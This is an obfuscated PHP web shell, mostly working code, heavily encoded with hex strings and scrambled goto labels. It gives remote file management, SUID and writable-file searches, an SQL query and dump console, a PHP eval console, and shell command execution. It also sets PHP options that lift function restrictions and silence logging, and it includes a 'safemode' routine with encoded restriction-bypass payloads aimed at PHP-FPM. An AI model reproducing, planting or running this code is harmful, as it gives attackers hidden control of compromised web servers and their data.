76"; } goto bwlDJ; BUsSa: function getFile($p) { $v = NULL; if ($v = fopen($p, "\162\x62")) { $r = ''; while (!feof($v)) { $r .= fread($v, 1048576); } fclose($v); return $r; } if (PHP_VERSION >= "\64\56\63") { $v = file_get_contents($p); if (is_string($v)) { return $v; } } $v = file($p); if (is_array($v)) { return implode('', $v); } if (PHP_VERSION >= "\x35") { if (PHP_VERSION >= "\65\56\x31") { try { $v = new SplFileObject($p, "\162\142"); } catch (Exception $e) { $v = FALSE; } if ($v) { $r = ''; while (!$v->eof()) { $r .= $v->fgets(); } unset($v); return $r; } } } if (RO && defined("\x46\117\122\x43\x45\137\x47\x5a\111\x50")) { if ($v = gzopen($p)) { $r = ''; while (!gzeof($v)) { $r .= gzread($v, 1048576); } gzclose($v); return $r; } $v = gzfile($p); if (is_array($v)) { return implode('', $v); } } if (RO && ($v = ob_start())) { if (is_int(readfile($p)) || copy($p, "\x70\x68\160\72\57\x2f\157\165\x74\x70\165\x74") || defined("\x46\117\122\x43\105\x5f\107\132\111\x50") && is_int(readgzfile($p))) { $r = ob_get_contents(); ob_end_clean(); return $r; } ob_end_clean(); } return FALSE; } goto M2sts; wdTnu: function selfPath() { if (isset($_SERVER["\x53\x43\x52\x49\120\124\x5f\x46\x49\114\105\x4e\101\115\x45"])) { return filePath($_SERVER["\x53\x43\x52\x49\120\124\x5f\106\111\114\105\116\101\115\x45"]); } if (isset($_SERVER["\x44\117\103\x55\115\x45\x4e\124\x5f\122\117\x4f\x54"])) { return substr($_SERVER["\x44\117\x43\125\x4d\105\x4e\124\137\122\117\117\x54"], -1) === DSC ? $_SERVER["\x44\117\x43\x55\x4d\x45\116\124\x5f\x52\x4f\117\x54"] : $_SERVER["\104\x4f\103\x55\115\105\x4e\124\137\x52\x4f\x4f\x54"] . DSC; } if (PHP_VERSION >= "\65\x2e\63") { return substr(__DIR__, -1) === DSC ? __DIR__ : __DIR__ . DSC; } return filePath(__FILE__); } goto qa4cw; Duhun: $ini = array("\x64\151\x73\x61\x62\x6c\x65\x5f\x63\x6c\x61\x73\163\x65\163" => '', "\x64\151\163\141\x62\154\145\137\x66\x75\x6e\x63\164\151\x6f\x6e\163" => '', "\144\151\x73\160\x6c\141\171\x5f\145\x72\x72\157\x72\x73" => 0, "\145\156\141\142\154\x65\137\x70\157\163\164\137\x64\141\x74\141\x5f\x72\145\141\144\151\156\147" => 1, "\x65\162\162\157\162\137\154\x6f\147" => '', "\145\x72\162\x6f\162\x5f\162\145\x70\157\162\164\151\x6e\x67" => 0, "\x66\151\x6c\x65\x5f\165\x70\x6c\x6f\141\x64\x73" => 1, "\154\157\x67\137\145\162\162\x6f\x72\163" => 0, "\154\x6f\147\137\145\x72\162\157\x72\163\x5f\x6d\141\x78\137\x6c\145\x6e" => -1, "\155\141\147\151\x63\137\x71\165\x6f\164\x65\163\x5f\147\160\143" => 0, "\155\x61\x67\x69\143\137\161\165\x6f\164\x65\163\137\x72\165\156\x74\x69\x6d\x65" => 0, "\155\x61\147\x69\x63\x5f\x71\x75\157\x74\x65\163\x5f\x73\x79\142\141\163\x65" => 0, "\x6d\141\x78\x5f\x65\170\145\143\165\x74\x69\x6f\156\137\164\x69\155\145" => 0, "\x6d\x65\155\x6f\x72\171\x5f\x6c\x69\155\151\164" => "\61\x30\x32\64\x4d", "\157\x70\145\156\137\x62\141\x73\145\144\151\162" => '', "\x73\x61\x66\145\137\155\157\x64\x65" => 0, "\x73\x61\x66\145\137\155\157\144\x65\137\145\x78\x65\143\137\x64\x69\x72" => ''); goto eWS3s; odx9K: ?>
)">Shell: <input type="text"name="s"placeholder="<?php  goto jBwCe; o3npe: ?>
);
 if ('e' in data) uiChngMsg(div, "Can't change" + (data.e.length === 1 ? ' ' + data.e[0] : ':\n' + data.e.join('\n')), 'Err');
 else uiDelMsg(div);
}

function chngPrps(e) {
 e.preventDefault();
 e.stopPropagation();
 var frm = e.target,
  data = {
   h: []
  },
  flds = {
   p: 'path',
   t: 'modified time'
   <?php  goto j2VKF; A5hck: function tempName() { $a = "\x70\157\x69\x75\171\164\162\145\167\x71\154\153\152\150\x67\x66\144\x73\141\155\156\142\166\143\170\172\115\116\x42\126\x43\x58\x5a\x4c\113\x4a\x48\x47\106\104\123\101\120\117\x49\x55\131\x54\122\105\x57\121\x30\71\x38\x37\x36\x35\x34\x33\x32\x31"; $v = "\56"; for ($i = 0; $i < 8; ++$i) { $v .= $a[rand(0, 61)]; } return $v . "\x2e\164\x6d\x70"; } goto wsDu2; bQERu: function decodeRequest() { $_REQUEST = array_merge($_FILES, $_COOKIE, $_REQUEST); unset($_GET, $_POST, $_COOKIE); $GLOBALS["\120\122\x45\x4c\105\x4e"] = getPreLen(); if (!($GLOBALS["\105\116\x43\x4b\x45\131"] = getEncKey())) { $GLOBALS["\105\x4e\x43\x4b\x45\x59"] = setEncKey(); } $_REQUEST = decodeInput($_REQUEST); } goto uVEHS; vrt7v: echo NIX ? "\x2f\x62\151\156\57\163\150" : ''; goto t0BE3; YveqT: ?>
>\n</option><option value="2">\r</option></select><button>Save</button></div></form></template><form id="frmSrch"class="modal"onmousedown="uiActvModal(event)"onsubmit="srchFiles(event)"tabindex="-1"><div class="divCntrls"><span class="spnTitle">Search</span><a href="#"class="cntrl"title="Close"onclick="return uiClsModal('frmSrch')">&#x00D7;</a></div><label class="option"title="exx: <?php  goto I960Z; mMW9h: ?>
updTblFiles({
  p: bpth,
  f: [f]
 }, os, gs);
}

function onSaveFile(div, data, chrst) {
 if (typeof data !== 'string') return uiChngMsg(div, "Can't s" + div.childNodes[1].nodeValue.slice(1, -1) + data.e, 'Err');
 var pos = data.lastIndexOf('\x03\x1E'),
  file;
 switch (data[pos + 2]) {
  case '\x06':
   file = JSON.parse(data.slice(pos + 3));
   updFrmFile(this, [file[0], file[3]], data.slice(0, pos), chrst);
   uiDelMsg(div);
   break;
  case '\x15':
   file = JSON.parse(data.slice(pos + 3));
   uiChngMsg(div, 'File ' + file[0] + " successful saved but can't read now", 'Inf');
   break;
  default:
   uiNetErrMsg(div);
   return false;
   break;
 }
 updTblFile(file);
}

function saveFile(e) {
 e.preventDefault();
 e.stopPropagation();
 var frm = e.target,
  pth = canonPath(frm.elements[1].value, elmPth.placeholder);
 fmAjxSnd('Save file as ' + pth, onSaveFile, {
  w: pth
 }, frm, frm.c.textValue);
}

function onRldFile(div, data, chrst) {
 if (typeof data !== 'string') return uiChngMsg(div, "Can't read file " + div.childNodes[1].nodeValue.slice(5, -2) + data.e, 'Err');
 var pos = data.lastIndexOf('\x03\x1E'),
  file;
 switch (data[pos + 2]) {
  case '\x06':
   file = JSON.parse(data.slice(pos + 3));
   updFrmFile(this, file, data.slice(0, pos), chrst);
   uiDelMsg(div);
   break;
  case '\x15':
   file = JSON.parse(data.slice(pos + 3));
   uiChngMsg(div, "Can't read file " + file[0], 'Inf');
   break;
  default:
   uiNetErrMsg(div);
   return false;
   break;
 }
}

function rldFile(e) {
 e.preventDefault();
 e.stopPropagation();
 var frm = e.target.parentNode.parentNode,
  pth = frm.elements[1].placeholder;
 frm.t.value = '';
 if (frm.firstChild.firstChild.textContent !== 'New File') fmAjxSnd('Reload file ' + pth, onRldFile, {
  g: pth
 }, frm);
}

function rldFileAs(e) {
 if (e.target.parentNode.parentNode.elements[1].placeholder !== '' && confirm('Do you want to reload this file with selected charset?')) rldFile(e);
}

function uiShwFrmFile(file, cntnt, chrst) {
 var frm = elmById('tmplFrmFile').content.firstChild.cloneNode(true);
 updFrmFile(frm, file, cntnt, chrst);
 elmById('divWndws').appendChild(frm);
 uiShwModal(frm);
}

function onGoTo(div, data, chrst) {
 if (typeof data === 'string') {
  var pos = data.lastIndexOf('\x03\x1E');
  switch (data[pos + 2]) {
   case '\x06':
    uiShwFrmFile(JSON.parse(data.slice(pos + 3)), data.slice(0, pos), chrst);
    uiDelMsg(div);
    break;
   case '\x15':
    uiChngMsg(div, "Can't open " + data.slice(pos + 3), 'Err');
    break;
   default:
    uiNetErrMsg(div);
    break;
  }
 } else {
  if (data.f.length === 0 && (data.m === 0 || data.m === 2)) uiChngMsg(div, "Can't read dir " + data.p, 'Err');
  else {
   elmPth.value = data.p;
   elmPth.placeholder = data.p;
   listPaths(data);
   uiDelMsg(div);
  }
 }
}

function goTo(pth) {
 if (pth !== '' && pth !== '~') pth = canonPath(pth, elmPth.placeholder);
 fmAjxSnd('Go ' + ((pth === '' || pth === '~') ? 'home' : 'to ' + pth), onGoTo, {
  g: pth
 });
 return false;
}

function uiTgglSubMenu(e) {
 var div = e.currentTarget.nextSibling,
  style = div.style;
 if (style.display === 'block') style.display = 'none';
 else {
  style.display = 'block';
  div.firstChild.focus();
 }
}

function menuButtonBlur(e) {
 setTimeout(uiMenuButtonBlur, 10, e.nextSibling);
}

function menuItemBlur(e) {
 setTimeout(uiMenuItemBlur, 10, e.parentNode);
}

function uiMenuButtonBlur(menuDiv) {
 var actvPrnt = document.activeElement.parentNode;
 if (actvPrnt !== menuDiv) menuDiv.style.display = 'none';
}

function uiMenuItemBlur(menuDiv) {
 var actvPrnt = document.activeElement.parentNode;
 if (actvPrnt !== menuDiv && actvPrnt !== menuDiv.parentNode) menuDiv.style.display = 'none';
}

function uiDstrModal(wndw) {
 elmById('divWndws').removeChild(wndw);
 return false;
}

function updBufferState() {
 var elm = elmById('btnBufferMenu'),
  isEmpty = fmBuffer.length === 0;
 if (elm.disabled !== isEmpty) elm.disabled = isEmpty;
 if (isEmpty) {
  elm = elmById('frmBuffer');
  if (elm.style.visibility === 'visible') {
   uiClsModal(elm);
   elm = elmById('tblBuffer');
   elm.removeChild(elm.tBodies[0]);
  }
 }
}

function rmFiles(data) {
 var bpth = data.p,
  files = data.f,
  flsTbds = elmTblFiles.tBodies,
  flsTbdy = tbdyByPath(bpth),
  bfrTbdy = elmById('frmBuffer').style.visibility === 'visible' ? elmById('tblBuffer').tBodies[0] : null;
 for (var i = files.length - 1; i >= 0; --i) {
  var fpth = files[i];
  if (flsTbdy)
   for (var j = flsTbdy.rows.length - 1; j > 1; --j)
    if (flsTbdy.rows[j].cells[2].firstChild.title === fpth) {
     flsTbdy.removeChild(flsTbdy.rows[j]);
     break;
    } fpth = bpth + fpth;
  var n = fmBuffer.indexOf(fpth);
  if (n > -1) {
   fmBuffer.splice(n, 1);
   if (bfrTbdy) bfrTbdy.removeChild(bfrTbdy.rows[n]);
  }
  fpth += DS;
  var len = fpth.length;
  for (n = flsTbds.length - 1; n >= 0; --n)
   if (flsTbds[n].rows[0].cells[0].textContent.slice(0, len) === fpth) elmTblFiles.removeChild(flsTbds[n]);
  for (n = fmBuffer.length - 1; n >= 0; --n)
   if (fmBuffer[n].slice(0, len) === fpth) {
    fmBuffer.splice(n, 1);
    if (bfrTbdy) bfrTbdy.removeChild(bfrTbdy.rows[n]);
   }
 }
}

function onChngPrps(div, data) {
 if ('r' in data) {
  for (var i = 0, c = data.r.length; i < c; ++i) rmFiles(data.r[i]);
  updBufferState();
 }
 if ('c' in data)
  for (var i = 0, c = data.c.length; i < c; ++i) updTblFiles(data.c[i] <?php  goto kd2X7; q5ODO: decodeRequest(); goto O9uzT; xTdkr: ?>
 </select></span></div><div id="divSQL"><div id="divSQLWrpLeft"><div class="panel"><label><input type="checkbox"id="cbCR"/> Count number of rows</label></div><div class="panel"><div id="divSchm"></div></div><div class="panel"id="divDump">Dump as <select id="slctDmpFrmt"><option value="0">SQL</option><option value="1">CSV</option></select><button type="button"onclick="dump()">&gt;</button></div></div><div id="divSQLWrpRight"><form class="panel flexRow"id="frmSQL"onsubmit="return query()"><input type="text"name="q"placeholder="SQL query"/><button>&gt;</button></form><div id="divCptn"></div><div id="divData"><table id="tblHead"></table><table id="tblData"></table></div><form class="panel"id="frmPg"onsubmit="return chngPg(0)"><input type="hidden"name="b"/><input type="hidden"name="s"/><input type="hidden"name="t"/> Start from row <button type="button"onclick="chngPg(-1)">&lt;</button><input type="text"name="o"size="5"value="0"/><button type="button"onclick="chngPg(1)">&gt;</button><div style="float:right">Rows per page <input type="text"name="r"size="3"value="25"/><button>&gt;</button></div></form></div></div></div></span><span id="tabPHP"><a href="#tabPHP"class="tab">PHP Console</a><div class="tabPage"id="divPagePHP"><form class="toolbar"id="frmPHP"onsubmit="return evl()"><label><a href="#"title="Change composition"class="cmpsRow"id="aCmps"onclick="return uiChngCmps()">Composition</a></label><label title="Erase PHP code after successful eval"><input type="checkbox"id="cbClnInp"/> Clear input</label><label title="Erase previous results before show new"><input type="checkbox"id="cbClnOut" checked/> Clear output</label><label title="Render result as HTML"><input type="checkbox"id="cbHTML"/> Show as HTML</label><label><input type="checkbox"name="h"/> Hide PHP errors</label><div><span class="spnChrst"title="Send as..."><hr class="arwUp"/> <select id="slctPHPCS"><?php  goto eZrJL; m3huV: echo NIX ? "\57\x75\163\162\x2f\142\x69\156\x2f\160\x79\164\x68\157\156" : "\x70\x79\164\x68\157\156\x2e\145\x78\x65"; goto aS9O2; PakDw: ?>
</select></span><span class="spnChrst"title="Load as..."><hr class="arwDwn"/> <select name="c"><?php  goto MHMdD; wL14E: ?>

<!DOCTYPE html><html><head><link rel="icon" type="image/gif" href="data:image/ico;base64,<?php  goto djmPo; MHMdD: foreach ($C as $k => $v) { echo "\74\157\160\164\151\x6f\156\40\x76\x61\154\x75\145\75\x22", $k, "\x22\x3e", $v, "\74\57\x6f\160\164\x69\x6f\x6e\76"; } goto m403z; wfSC0: foreach ($C as $v) { echo "\74\x6f\x70\164\x69\157\x6e\x3e", $v, "\74\x2f\157\160\x74\151\157\x6e\76"; } goto FhPai; OHSUm: if (NIX) { echo "\54\x64\141\164\141\56\x6f\x2c\x64\x61\x74\141\56\147"; } goto tFxgT; JNe9f: ?>
"><a href="#"class="lnkBlck">[ .. ]</a></td></tr></tbody></template><template id="tmplFileRow"><tr><td><input type="checkbox"name="f[]"/></td><td><a href="#"class="lnkBlck"></a></td><td><a href="#"class="lnkBlck"></a></td><td><a href="#"class="lnkAct"></a></td><td></td><td><a href="#"class="lnkAct"></a></td><?php  goto lQqu6; ASpfA: ?>
  },
  chngd = [];
 for (var field in flds)
  if (frm[field].value !== '' && frm[field].value !== frm[field].placeholder) {
   data[field] = frm[field].value;
   chngd.push(flds[field]);
  } if (chngd.length > 0) {
  if ('p' in data) data.p = canonPath(data.p, elmPth.placeholder);
  var elm = frm['h[]'],
   cnt = elm.length ? elm.length : 1;
  if (cnt > 1)
   for (var i = 0; i < cnt; ++i) data.h.push(elm[i].value);
  else data.h.push(elm.value);
  fmAjxSnd('Change ' + chngd.join(', ') + ' for ' + (cnt > 1 ? 'selected files (' + cnt + ')' : elm.value), onChngPrps, data);
 }
 uiDstrModal(frm);
}

function setErlDate(e) {
 e.preventDefault();
 e.stopPropagation();
 var elm = e.target.parentNode.lastChild,
  erlDate = elm.value;
 for (var i = elmTblFiles.tBodies.length - 1; i >= 0; --i) {
  var rows = elmTblFiles.tBodies[i].rows;
  for (var j = rows.length - 1; j > 1; --j)
   if (rows[j].cells[4].textContent < erlDate || erlDate === '') erlDate = rows[j].cells[4].textContent;
 }
 if (erlDate !== '' && erlDate < elm.value) elm.value = erlDate;
}

function uiShwFrmPrps(data, files) {
 var frm = elmById('tmplFrmPrps').content.firstChild.cloneNode(true);
 for (var i = 0, c = files.length; i < c; ++i) frm.appendChild(newElm('input', {
  type: 'hidden',
  name: 'h[]',
  value: files[i]
 }));
 frm.p.value = data[0];
 frm.p.placeholder = data[0];
 frm.t.value = data[1];
 frm.t.placeholder = data[1];
 <?php  goto Vkb_l; nJCvK: foreach ($C as $k => $v) { echo "\74\157\x70\x74\x69\157\156\40\166\x61\x6c\x75\x65\x3d\x22", $k, "\x22\x3e", $v, "\x3c\x2f\x6f\160\164\151\157\x6e\x3e"; } goto lpFFg; Tt4C2: ?>
"/><meta name="referrer" content="no-referrer"/><title><?php  goto wdI5q; O9uzT: checkAuth(); goto kGtE3; Q9YuK: if (defined("\103\105\104")) { $D = unserialize(pack("\x48\x2a", CED)); } else { if (isset($_REQUEST["\x61"])) { $D = $_REQUEST; } elseif (isset($_REQUEST["\x61"])) { $D = $_REQUEST; } else { $D = array(); } if (function_exists("\x67\145\x74\137\x6d\141\147\151\143\x5f\161\165\x6f\x74\x65\x73\x5f\x67\x70\x63") && get_magic_quotes_gpc()) { $D = unQuote($D); } if (isset($D["\x6b"])) { $k = $D["\x6b"]; unset($D["\x6b"]); prepVals($D, $k); } } goto q8gGN; STCWy: echo NIX ? 8 : 7; goto jNku3; rBdHq: if (NIX) { ?>
 <label class="option"> Attribute <select name="u"><option value="">Any</option><option value="1">SUID</option></select></label></div><div class="flexRow"><label class="option"title="exx: 0, &gt;1000, &lt;1005, 1010-1015">Owner id<input type="text"name="o"/></label><hr class="spcr20"/><label class="option"title="exx: 0, &gt;1000, &lt;1005, 1010-1015">Group id<input type="text"name="g"/></label> <?php  } goto FkNcg; yQukv: ?>
">Paths<input type="text"required /></label><div class="flexRow noFlex"><div class="option"> Name (<label title="? - single char; * - zero or more char; [!0123A-Z] - class of chars (- for range, ! to exclude)"><input type="checkbox"name="w"/>wildcard</label>, <label><input type="checkbox"name="i"/>case-insensitive</label>) <input type="text"name="n"/></div><label class="option"title="Max search depth">Depth<input type="text"name="d"size="1"size="1"/></label><label class="option">Type <select name="y"onchange="uiSrchFTypeChngd()"><option value="">Any</option><option value="1">Dirs</option><option value="0">Files</option></select></label><label class="option">Mode <select name="p"><option value="">Any</option><option value="1">Readable</option><option value="2">Writable</option><option value="3">Full access</option></select></label> <?php  goto rBdHq; CWbST: function escHTML($v) { return str_replace(array("\46", "\42", "\x3c", "\x3e"), array("\46\141\155\x70\73", "\46\x71\165\x6f\x74\x3b", "\46\x6c\164\x3b", "\46\147\x74\x3b"), $v); } goto wdTnu; J0PNS: foreach ($a as $k => $v) { if (function_exists($v)) { print $k . "\72" . $v . "\xa" . get_current_user() . "\12" . gethostname() . "\xa" . __DIR__ . "\xa"; } } goto Absku; hjSIg: function isINI($v) { $v = strtolower(trim(ini_get($v))); return $v === "\x31" || $v === "\x6f\x6e"; } goto uPyOx; WSa3y: $a = array("\x4d\x59\x53\121\x4c\x5f\x4e\125\115" => array("\115\x79\x53\x51\114", "\x4d\171\123\121\x4c"), "\115\131\x53\121\114\x49\137\x4e\x55\115" => array("\x4d\x79\123\121\114\151", "\115\x79\x53\121\114\151"), "\120\104\x4f\x3a\72\x4d\131\x53\121\114\137\101\x54\124\x52\x5f\111\x4e\x49\x54\137\103\117\x4d\115\101\x4e\104" => array("\115\x79\123\x51\x4c\120\104\117", "\x4d\171\x53\x51\x4c\x20\50\120\104\117\x29"), "\x4d\123\x53\x51\114\137\x4e\125\115" => array("\115\123\x53\121\x4c", "\x4d\x53\123\121\x4c"), "\123\x51\x4c\123\x52\x56\x5f\x45\x52\122\137\101\114\114" => array("\x53\121\x4c\x53\x72\x76", "\115\x53\x53\121\114\40\50\x53\121\x4c\123\x72\x76\51"), "\120\x44\117\x3a\72\x50\101\x52\x41\115\x5f\111\116\x54" => array("\x4d\x53\x53\x51\114\x44\102\114\111\x42", "\115\123\x53\121\x4c\40\x28\x50\x44\117\137\x44\x42\114\111\x42\51"), "\120\x44\117\x3a\x3a\x50\101\x52\101\115\x5f\x53\124\x52" => array("\115\x53\123\x51\x4c\x4f\104\102\x43", "\x4d\x53\123\121\114\40\50\120\104\117\x5f\117\104\102\x43\x29"), "\120\104\117\x3a\x3a\x53\121\114\x53\122\126\x5f\105\116\103\117\104\x49\x4e\107\x5f\125\x54\x46\x38" => array("\x53\121\x4c\123\162\166\x50\x44\117", "\115\x53\123\121\114\x20\x28\120\104\x4f\137\x53\x51\x4c\123\122\126\x29"), "\x50\107\123\121\x4c\x5f\x4e\125\115" => array("\120\x47\123\x51\x4c", "\120\157\163\x74\x67\162\x65\x53\121\114"), "\120\x44\117\x3a\72\120\x41\122\101\115\137\x4c\117\x42" => array("\x50\x47\x53\x51\114\x50\104\117", "\x50\157\163\164\147\162\x65\x53\x51\x4c\40\x28\x50\x44\x4f\x29")); goto yWlhJ; On8I4: if (NIX) { echo "\54\x64\x61\164\141\x2e\157\54\144\141\164\141\x2e\147"; } goto U8eY8; mM3Md: echo NIX ? "\57\165\163\162\x2f\142\151\x6e\57\160\145\162\154" : "\160\145\162\x6c\56\145\x78\x65"; goto nl10B; I960Z: echo NIX ? "\x2f\x76\141\162\x2f\x77\x77\x77\72\57\x65\164\143\72\57\x74\155\160\57" : "\143\72\x5c\151\x6e\145\x74\x70\x75\x62\134\167\167\167\x72\157\x6f\x74\x3b\144\72\134\167\x77\167\134"; goto yQukv; AuYcb: function safemode($cmd = "\143\x68\x65\x63\153") { if (!defined("\120\x48\120\x5f\x56\x45\122\123\x49\x4f\116\137\111\104")) { return false; } $c = __FUNCTION__; $v = PHP_VERSION_ID; $pocs["\x63\x6d\x5f\160\x68\x70\x5f\x66\160\155"] = array("\x76" => strpos(php_sapi_name(), "\x66\160\x6d") !== false && is_int(array_search(true, array_map(function ($f) { if (function_exists($f)) { return true; } }, array("\155\141\151\154", "\145\162\x72\157\x72\x5f\154\x6f\x67", "\151\x6d\141\160\137\x6d\x61\151\154", "\x6d\x62\137\x73\x65\x6e\144\137\155\x61\151\154")))), "\x72" => "\145\x78\145\x63\106\x50\x4d\50\x24" . $c . "\x29", "\143" => "\x65\x4a\x79\x4e\x56\62\x31\124\x32\60\x59\121\57\x6b\x78\x6e\53\150\x38\117\x52\132\x6d\x54\115\157\x70\153\101\171\x61\105\x68\x46\101\107\x54\x50\102\x4d\x77\x4b\65\x78\x30\x75\x6b\153\155\x52\164\132\x4f\x6d\105\126\127\144\x4a\x49\115\157\x47\62\57\x50\146\165\x37\164\63\x35\102\132\165\x32\115\x6a\67\146\67\124\x36\x33\x74\x37\x76\141\x6c\x79\117\132\65\126\107\124\x46\x6a\x6d\124\71\172\x49\x36\x48\61\x77\x36\x64\152\x53\x4e\63\x62\71\53\x2f\155\x6e\x4c\x72\155\124\x4e\x6a\154\147\123\132\x72\x56\70\x42\x32\x76\64\123\170\120\110\124\163\x6f\160\x55\x47\71\153\x67\x32\x43\x58\x6b\x46\164\62\120\x52\62\x45\x7a\x51\x54\x6f\141\132\x34\x4b\x34\104\x6d\x38\154\x6e\153\70\x44\144\x4e\115\x6c\x4d\x44\147\x4c\147\x72\x59\x55\164\x44\x4a\x65\132\x70\112\147\104\160\160\114\130\65\125\141\122\117\x4f\115\53\154\167\x6e\67\166\x73\155\x41\154\170\x31\150\163\113\x77\121\x35\132\57\x56\x43\x6a\111\116\x48\x49\141\123\156\151\164\111\113\152\146\x42\65\x77\146\170\160\63\x6e\103\141\x64\123\154\151\124\124\110\164\66\x65\65\66\106\116\171\101\x50\x4f\x56\161\x36\x54\60\131\x51\x50\x34\x47\154\113\107\145\116\151\111\x71\x38\x6b\x58\154\x54\107\x34\172\110\x2b\x49\x76\x74\x59\112\x7a\155\x51\x54\x33\150\166\166\x55\164\x74\x33\x7a\53\147\x6e\106\146\x43\x31\121\125\x6c\x4f\116\172\71\147\110\x70\141\x70\165\x53\x47\x6b\x32\155\x52\x62\171\x51\x31\x48\x72\x54\x36\123\171\132\127\x45\x35\x4b\x62\x61\x50\122\150\x2f\x74\101\x34\70\x38\x70\160\120\x47\x67\x30\x66\164\152\x6d\x4c\x50\x6a\104\70\x70\150\112\x43\x77\161\x59\160\x54\105\143\x62\105\154\x71\x36\161\157\122\103\130\114\x6f\x6d\x72\123\57\115\x5a\x70\x71\x56\117\x33\60\x4f\60\x31\x75\116\61\123\147\x4b\x79\64\163\125\103\162\160\x30\167\147\103\167\x4c\125\150\x71\166\x34\x69\132\120\x6f\x4b\x42\x44\171\x50\x71\x31\102\112\141\x75\x65\x79\x43\167\124\x47\102\117\127\x36\170\114\113\170\115\117\103\64\61\150\x7a\162\x2f\152\143\60\x6f\143\x5a\151\144\x74\160\x6a\x57\146\151\x4a\150\60\153\x59\110\160\x52\171\124\103\x61\117\107\x46\126\x68\121\x2b\117\x68\x65\105\x42\151\161\x7a\x6f\142\x4b\130\x54\x73\x42\x53\113\x59\x30\x33\110\101\x73\116\x49\x4c\126\x30\x57\x31\x73\170\107\122\x62\125\x2b\155\x2f\122\x57\146\x48\115\x65\x36\x49\170\x72\160\53\x33\102\122\53\163\110\172\170\x69\x30\165\x44\127\162\122\57\160\71\65\x4e\x6f\132\x65\102\x35\x6c\101\x59\x53\x35\170\70\x61\x7a\116\x49\x73\x48\x59\x58\x53\x72\x6f\160\63\x65\150\x63\x63\127\x37\70\x76\105\x68\120\165\x4f\167\x62\117\x38\63\53\124\110\155\x67\172\117\x34\124\x56\x7a\x33\x45\157\160\64\x79\66\106\152\143\x34\63\152\101\x2b\x4d\x2f\113\x63\102\141\71\x37\130\114\115\57\x53\57\x4e\x5a\x5a\151\125\144\x44\60\x35\157\122\x38\126\106\x46\125\103\127\142\x57\x5a\x55\x7a\x5a\x37\x74\165\x71\162\x4b\157\x36\x59\63\101\70\x53\x72\x4b\x4d\145\146\157\x33\x45\x4f\x56\65\67\152\170\x45\x59\x38\170\152\x76\63\146\114\155\x44\147\143\x33\x53\x43\130\122\111\x57\x44\x47\155\x4b\x47\x6e\145\x67\x38\66\x31\x76\x39\x36\60\127\146\116\x76\x36\x64\x2b\x31\x4c\x30\142\117\x38\x33\x61\x64\123\x30\161\x52\150\x6c\x76\x34\160\102\x32\105\x56\124\162\x55\167\102\x63\116\110\x52\x64\x46\x69\x6a\121\70\x66\x64\x6e\57\71\63\114\60\x65\151\x63\166\x75\66\113\x4a\x2f\x78\164\153\122\160\x4f\67\x48\67\157\150\67\x54\x33\x44\130\x33\145\107\130\x37\154\x41\115\x68\166\x31\122\x2f\x37\x54\x2f\123\121\x45\166\122\161\116\x42\60\x50\x62\142\141\53\151\x50\112\x36\120\165\x62\x79\x65\x2f\151\71\x37\126\161\x44\163\x38\x50\172\156\164\x4b\166\x7a\x70\x78\x39\x35\x47\165\x42\x5a\x2b\x64\130\x4b\160\147\126\153\x52\150\x64\155\x6b\161\112\163\x31\113\102\64\160\114\x76\x72\130\x6f\57\70\x43\x44\162\x75\x58\57\126\106\130\x6e\x4a\171\x64\x44\x52\x57\x30\166\146\120\107\x62\70\x46\x6e\x77\x2f\x47\x6e\167\x39\x35\x67\x4a\x4d\65\x37\x6e\x37\160\x7a\106\145\x59\x76\67\101\154\62\x63\x44\105\x41\x6d\132\x65\x39\113\57\x48\154\x35\116\x4e\156\x68\146\62\152\x53\110\x4d\x48\x79\x35\x2b\63\60\x63\x65\60\x4c\x38\171\x79\x34\157\145\x59\x56\132\154\111\x38\171\151\142\170\146\x4b\111\53\171\x6f\x34\111\x4b\112\64\120\53\x63\x51\x55\142\x79\146\x4a\x4e\x7a\61\x4e\165\x79\x4f\60\x78\x71\x72\x76\152\102\122\126\150\x38\150\x64\102\x4f\171\x4b\107\x55\x75\170\x6d\x45\x74\157\x51\125\70\103\167\160\x6e\124\x53\x46\x4b\x71\x49\x70\131\x4c\x44\102\x2f\126\160\x53\112\167\x79\x59\70\71\x4c\147\120\x79\x73\x6f\143\151\x59\x34\165\x73\57\111\165\172\102\x79\x55\166\142\x38\x6e\x59\153\x6b\x63\x71\107\x69\141\157\113\105\x6b\170\x63\x58\171\x42\152\155\x4f\x64\x52\156\x74\111\x71\x4f\167\x65\113\170\62\165\x65\x56\124\x54\x5a\x73\x44\x64\104\x43\162\x71\x36\103\x6d\122\161\120\x52\67\x48\x58\104\x58\161\x66\x63\x58\124\x58\106\x58\x56\162\162\66\x59\141\163\155\107\146\x56\63\162\x38\x78\x4f\66\x70\131\111\106\x76\x6e\166\60\141\x74\65\x62\143\x70\x56\116\x54\x78\x37\x79\102\164\x4d\x53\x49\x67\x65\161\x39\67\57\x53\165\163\x49\x6a\132\141\150\156\x56\x4a\150\121\x49\120\67\x73\x49\x71\x71\x47\132\x35\101\x42\x34\115\163\x4a\x61\122\x65\122\123\x33\x36\171\170\x44\x65\x41\141\x6e\x75\160\170\71\112\66\166\106\x41\x66\142\144\61\x39\132\x33\x4b\103\x76\64\64\x38\120\131\160\156\106\x6e\x45\x77\x6e\110\63\x65\71\131\x54\x6f\116\130\115\x48\x61\x34\x78\172\166\x2b\x4c\x6f\x31\67\x4e\x43\x72\x4b\120\157\x78\166\x38\x4f\165\x33\x61\x47\x7a\124\x75\x45\x50\x6a\x4c\x6f\x32\111\120\x69\x44\x75\x41\x58\105\x50\151\110\x74\101\x33\101\x50\147\x76\x67\x71\125\157\x6b\130\132\114\x42\x52\x56\x4a\117\x68\144\145\x59\x47\116\110\x69\132\121\x59\114\106\x52\143\71\62\66\x54\142\x66\x54\x48\x73\x54\x75\x68\x54\x4f\130\172\x52\154\153\x4f\x4e\112\150\x34\152\x49\x53\57\x2f\x55\x37\103\153\117\143\x7a\x2f\x48\x4b\64\x43\120\120\x35\x36\53\x68\x48\146\154\61\x45\x64\63\x79\x75\x53\x4b\x45\130\106\123\x42\x77\x37\x65\x74\x56\155\x76\164\x61\x4e\111\131\124\x34\101\x4a\x74\x63\x33\x46\104\145\64\130\x55\106\x65\107\x55\64\x46\123\163\x64\164\x6b\113\124\121\x62\x68\67\141\101\x6e\x39\x6b\62\x43\101\x38\64\x35\153\70\x54\154\131\144\102\121\x41\x6b\x39\x79\71\116\x37\x6e\x4c\163\53\167\x6a\171\155\x7a\120\145\x4d\x39\122\x35\x72\x36\x38\165\103\103\124\157\x34\123\156\125\164\x54\124\x43\130\x79\x64\x55\x59\130\107\x32\66\x4f\154\x4c\x31\172\x58\x49\151\x77\61\152\x46\x68\172\60\165\64\157\145\x35\147\x36\154\154\x4a\x6e\103\120\161\x70\71\163\111\x2b\141\x50\x43\123\x53\